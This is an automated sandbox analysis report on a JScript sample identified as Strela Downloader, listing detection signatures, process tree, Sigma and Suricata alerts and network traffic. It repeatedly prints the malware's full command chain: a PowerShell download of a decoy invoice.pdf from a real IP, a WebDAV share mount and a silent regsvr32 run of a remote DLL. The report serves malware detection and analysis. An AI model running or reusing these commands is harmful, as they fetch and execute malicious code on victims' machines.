Edit tour

Windows Analysis Report
295963673155714664.js

Overview

General Information

Sample name:	295963673155714664.js
Analysis ID:	1588100
MD5:	1b3379a0ba1f161871935137ff204be8
SHA1:	72cb2279f2b7743d90a1108575d4a808b2325232
SHA256:	22b34cd446da9e32735e76639248dd736323241893dd987c68f5135ff2022897
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6440 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1468 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4928 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1572,i,8482416695213853241,14148114775944833719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 948 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6520 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1524 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6440	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4928, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4928, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ProcessId: 6440, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6520, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49795

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ProcessId: 1468, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ProcessId: 1468, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ProcessId: 1468, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ProcessId: 1468, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ProcessId: 1468, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ProcessId: 6440, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1468, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4928, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 948, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6520, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1524, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 948, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6520, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6440, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll, ProcessId: 1468, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:24:18.069679+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49795	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:24:15.581370+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49779	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 295963673155714664.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 295963673155714664.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49795 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:24:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49795

Source: global traffic

TCP traffic: 192.168.2.6:49795 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:53171 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49779 -> 193.143.1.205:80
